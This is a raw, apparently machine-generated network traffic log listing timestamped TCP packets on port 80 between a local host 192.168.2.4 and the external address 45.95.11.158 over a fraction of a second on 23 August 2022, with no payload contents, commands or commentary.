Aug 23, 2022 03:42:41.294091940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294106007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294111013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294145107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294147968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294190884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294199944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294218063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294234037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294258118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294297934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294307947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294313908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294337034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294365883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294375896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294401884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294492006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294536114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294575930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294579029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294605970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294611931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294644117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294644117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294678926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294684887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294718981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294724941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294753075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294759035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294791937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294794083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294823885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294832945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294869900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.294955969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294985056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.294991970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295018911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295025110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295062065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295064926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295099974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295104980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295134068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295171022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295176029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295212030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295217991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295254946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295258045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295286894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295295000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295322895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295327902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295363903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295389891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295428991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295439959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295469046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295476913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295589924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295620918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295651913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295661926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295667887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295692921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295732021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295748949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295773029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295778990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295815945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295887947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295892000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295924902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295944929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.295949936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.295999050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296004057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296049118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296062946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296103001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296108007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296148062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296159029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296202898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296211958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296256065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296264887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296302080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296307087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296343088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296463966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296514034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296516895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296561956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296570063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296608925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296616077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296658039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296700001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296752930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296799898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296806097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296859980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.296861887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296906948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.296962976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297004938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297007084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297049046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297050953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297085047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297092915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297128916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297131062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297172070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297177076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297218084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297220945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297252893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297260046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297295094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297297001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297337055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297339916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297383070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297384977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297424078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297442913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297473907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297492027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297522068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297525883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297570944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297574043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297609091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297615051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297648907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297653913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297693968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297696114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297735929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297740936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297772884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297786951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297815084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297817945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297857046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297861099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297902107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297904968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297938108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.297945023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.297980070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.298016071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.298058033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.298093081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.298135042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.298135996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.298168898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.298177004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.298209906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.302896976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.303256989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.321840048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.321899891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.321938038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.321950912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.321980000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.321984053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.322007895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.322030067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325453043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325512886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325536966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325557947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325572968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325596094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325601101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325639009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325639963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325683117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325727940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325727940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325768948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325774908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325819969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325828075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325860977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325865030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325898886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325906992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325941086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325943947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.325984001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.325988054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326030970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326034069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326073885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326078892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326122046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326122999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326167107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326169014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326200962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326210976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326272964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326280117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326324940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326339006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326365948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326370001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326404095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326410055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326452971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326486111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326498032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326504946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326539040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326543093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326577902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326585054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326622009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326637983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326666117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326680899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326706886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326710939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326742887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326750040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326792002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326807022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326838017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326904058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.326914072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326950073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.326957941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327007055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327013016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327063084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327065945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327106953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327117920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327153921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327162027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327207088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327214956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327267885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327281952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327308893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327311993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327392101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327455044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327461958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327512980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327516079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327554941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327564001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327601910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327606916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327655077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327663898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327721119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327739000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327760935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327815056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327832937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327858925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327871084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327915907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.327923059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327963114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.327980995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328016043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328064919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328069925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328114033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328121901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328161001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328170061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328207970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328216076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328263044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328270912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328322887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328363895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328375101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328413963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328424931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328474998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328479052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328525066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328533888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328572035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328597069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328625917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328630924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328680992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328691006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328739882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328742027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328783035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328790903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328835011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328838110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328886032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328898907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328949928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.328954935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.328994989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329001904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329045057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329047918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329094887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329102039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329149961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329155922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329195976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329207897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329245090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329251051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329298019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329307079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329358101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329364061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329401970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329412937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329457045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.329468966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329507113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.329513073 CEST	80	49743	45.95.11.158	192.168.2.4
